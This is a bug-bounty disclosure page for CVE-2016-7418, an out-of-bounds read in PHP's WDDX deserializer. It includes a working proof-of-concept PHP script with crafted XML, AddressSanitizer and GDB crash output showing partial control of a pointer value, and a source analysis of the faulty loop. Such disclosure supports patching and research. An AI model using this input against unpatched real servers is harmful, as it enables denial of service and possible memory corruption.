Loading HuntDB...

CVE-2016-7418 PHP Out-Of-Bounds Read in php_wddx_push_element

I
Internet Bug Bounty
Submitted None
Reported by binvul

Vulnerability Details

Technical details and impact analysis

Memory Corruption - Generic
# CVE-2016-7418 PHP Out-Of-Bounds Read in php_wddx_push_element ## 1. Affected Version + PHP 7.0.10 + PHP 5.6.25 ## 2. Credit This vulnerability was discovered by Ke Liu of Tencent's Xuanwu LAB. ## 3. Testing Environments + **OS**: Ubuntu + **PHP**: [7.0.10](http://php.net/distributions/php-7.0.10.tar.gz) + **Compiler**: Clang + **CFLAGS**: ``-g -O0 -fsanitize=address`` ## 4. PoC There are **five** similar issues in function ``php_wddx_push_element``, but I'll just demonstrate one issue here. More proof-of-concept files are available at [PHP BUG 73065](https://bugs.php.net/bug.php?id=73065). ``` <?php $xml = <<<XML <?xml version='1.0' ?> <!DOCTYPE et SYSTEM 'w'> <wddxPacket ven='1.0'> <array> <var Name="name"> <boolean value="keliu"></boolean> </var> <var name="1111"> <var name="2222"> <var name="3333"></var> </var> </var> </array> </wddxPacket> XML; $array = wddx_deserialize($xml); var_dump($array); ?> ``` ## 5. Vulnerability Details AddressSanitizer output the following exception information. ``` ==47769==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000046fb9c bp 0x7ffc278e29b0 sp 0x7ffc278e2130 T0) #0 0x46fb9b in __interceptor_strcmp.part.24 (php-src/sapi/cli/php+0x46fb9b) #1 0xac41d4 in php_wddx_push_element php-src/ext/wddx/wddx.c:791:9 #2 0x7fa8715ac67f in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x867f) #3 0x7fa8715ad38b in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x938b) #4 0x7fa8715aecad in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xacad) #5 0x7fa8715af404 in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xb404) #6 0x7fa8715b170a in XML_ParseBuffer (/lib/x86_64-linux-gnu/libexpat.so.1+0xd70a) #7 0xac1717 in php_wddx_deserialize_ex php-src/ext/wddx/wddx.c:1081:2 #8 0xabad7a in zif_wddx_deserialize php-src/ext/wddx/wddx.c:1299:2 #9 0xfdfb3d in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER php-src/Zend/zend_vm_execute.h:675:2 #10 0xe75f4b in execute_ex php-src/Zend/zend_vm_execute.h:432:7 #11 0xe76ec3 in zend_execute php-src/Zend/zend_vm_execute.h:474:2 #12 0xd00e9e in zend_execute_scripts php-src/Zend/zend.c:1464:4 #13 0xad4425 in php_execute_script php-src/main/main.c:2537:14 #14 0x10fca26 in do_cli php-src/sapi/cli/php_cli.c:990:5 #15 0x10f9f60 in main php-src/sapi/cli/php_cli.c:1378:18 #16 0x7fa86fec582f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291 #17 0x449578 in _start (php-src/sapi/cli/php+0x449578) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (php-src/sapi/cli/php+0x46fb9b) in __interceptor_strcmp.part.24 ==47769==ABORTING ``` AddressSanitizer indicates that this is a NULL pointer dereference issue. However, if we debug it under GDB, we'll find out that this can be a Out-Of-Bounds read issue. ``` (gdb) n Program received signal SIGSEGV, Segmentation fault. __strcmp_sse2_unaligned () at ../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S:31 31 ../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S: No such file or directory. (gdb) x/i $rip => 0x7ffff6da1b5a <__strcmp_sse2_unaligned+26>: movdqu (%rdi),%xmm1 (gdb) i r $rdi rdi 0x74656b6361507801 8387227955626014721 (gdb) x/20xb $rdi 0x74656b6361507801: Cannot access memory at address 0x74656b6361507801 ``` To some degree, the value of ``rdi`` register can be controlled. For example, value ``0x74656b6361507801`` can be expressed as ``\x01xPacket``. This can be controlled in the XML code in the proof-of-concept file. ``` >>> '74656b6361507801'.decode('hex')[::-1] '\x01xPacket' ``` # 6. Source Code Analysis The code lead to this issue is listed as follows. ``` 790 if (atts) for (i = 0; atts[i]; i++) { 791 if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) { 792 if (stack->varname) efree(stack->varname); 793 stack->varname = estrdup((char *)atts[i]); 794 break; 795 } 796 } ``` Testing data to trigger this issue is listed as follows. ``` atts[0] = 0x0000000000cf8699 "Name" atts[1] = 0x0000000000cf783c "name" EL_NAME atts[2] = 0x0000000000000000 NULL atts[3] = 0x74656b6361507801 ???? ``` Here ``atts[2]`` was not checked in the ``for`` loop but in the ``if`` statement (checked when evaluating ``atts[++i]``). So when entering the ``if`` statement next time, ``strcmp(atts[3], EL_NAME)`` would cause an Out-Of-Bounds read issue. ## 7. Timeline + 2016.09.12 - Found + 2016.09.12 - Reported to PHP via [73065](https://bugs.php.net/bug.php?id=73065) + 2016.09.12 - Fixed + 2016.09.15 - Assigned CVE-2016-7418 + 2016.09.15 - [PHP 7.0.10](http://www.php.net/ChangeLog-7.php#7.0.11) and [PHP 5.6.25](http://www.php.net/ChangeLog-5.php#5.6.26) Released

Related CVEs

Associated Common Vulnerabilities and Exposures

The php_wddx_push_element function in ext/wddx/wddx.c in PHP before 5.6.26 and 7.x before 7.0.11 allows remote attackers to cause a denial of service (invalid pointer access and out-of-bounds read) or possibly have unspecified other impact via an incorrect boolean element in a wddxPacket XML document, leading to mishandling in a wddx_deserialize …

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Submitted

Weakness

Memory Corruption - Generic